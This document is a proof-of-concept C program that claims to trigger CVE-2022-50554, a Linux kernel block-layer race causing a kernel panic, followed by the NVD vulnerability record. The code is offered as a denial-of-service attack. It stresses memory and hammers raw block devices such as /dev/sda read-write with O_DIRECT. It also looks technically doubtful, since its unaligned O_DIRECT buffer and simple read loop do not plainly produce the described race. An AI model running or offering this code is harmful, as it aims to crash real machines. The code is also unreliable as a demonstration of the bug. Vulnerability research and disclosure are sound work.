CVE-2022-50554

// CVE-2022-50554 PoC - Triggering double ->queue_rq() in blk-mq // This PoC demonstrates the race condition that causes kernel panic // Note: This vulnerability requires VM environment to trigger reliably #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <pthread.h> #include <errno.h> // Trigger long page fault or preemption latency in vCPU pthread // to cause block IO request timeout before queuing to hardware void* trigger_long_latency(void* arg) { // Allocate large memory to cause page faults char *buf = (char*)malloc(1024 * 1024 * 1024); // 1GB if (!buf) { perror("malloc"); return NULL; } // Touch pages to cause page faults for (size_t i = 0; i < 1024 * 1024 * 1024; i += 4096) { buf[i] = 1; } free(buf); return NULL; } int main(int argc, char* argv[]) { int fd; char buf[4096]; pthread_t tid; // Create latency-inducing thread if (pthread_create(&tid, NULL, trigger_long_latency, NULL) != 0) { perror("pthread_create"); return 1; } // Perform intensive block IO operations // to trigger the race condition between timeout and queue_rq fd = open("/dev/sda", O_RDWR | O_DIRECT); if (fd < 0) { // Try other block devices fd = open("/dev/vda", O_RDWR | O_DIRECT); if (fd < 0) { fd = open("/dev/nvme0n1", O_RDWR | O_DIRECT); } } if (fd >= 0) { // Perform many IO operations to increase chance of triggering race for (int i = 0; i < 10000; i++) { lseek(fd, i * 4096, SEEK_SET); read(fd, buf, sizeof(buf)); } close(fd); } pthread_join(tid, NULL); printf("PoC execution completed. Check kernel logs for panic.\n"); return 0; }

{"cve": {"id": "CVE-2022-50554", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:43.423", "lastModified": "2026-02-06T13:44:50.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-mq: avoid double ->queue_rq() because of early timeout\n\nDavid Jeffery found one double ->queue_rq() issue, so far it can\nbe triggered in VM use case because of long vmexit latency or preempt\nlatency of vCPU pthread or long page fault in vCPU pthread, then block\nIO req could be timed out before queuing the request to hardware but after\ncalling blk_mq_start_request() during ->queue_rq(), then timeout handler\nmay handle it by requeue, then double ->queue_rq() is caused, and kernel\npanic.\n\nSo far, it is driver's responsibility to cover the race between timeout\nand completion, so it seems supposed to be solved in driver in theory,\ngiven driver has enough knowledge.\n\nBut it is really one common problem, lots of driver could have similar\nissue, and could be hard to fix all affected drivers, even it isn't easy\nfor driver to handle the race. So David suggests this patch by draining\nin-progress ->queue_rq() for solving this issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.18", "versionEndExcluding": "6.0.16", "matchCriteriaId": "1B81ACB7-1D5E-4680-9ACC-CDB59DA4FD55"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/7a73c54a3750895888ab586896736c9434e062a1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/82c229476b8f6afd7e09bc4dc77d89dc19ff7688", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8b3d6b029a552d2978bbac275303d11419826a69", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}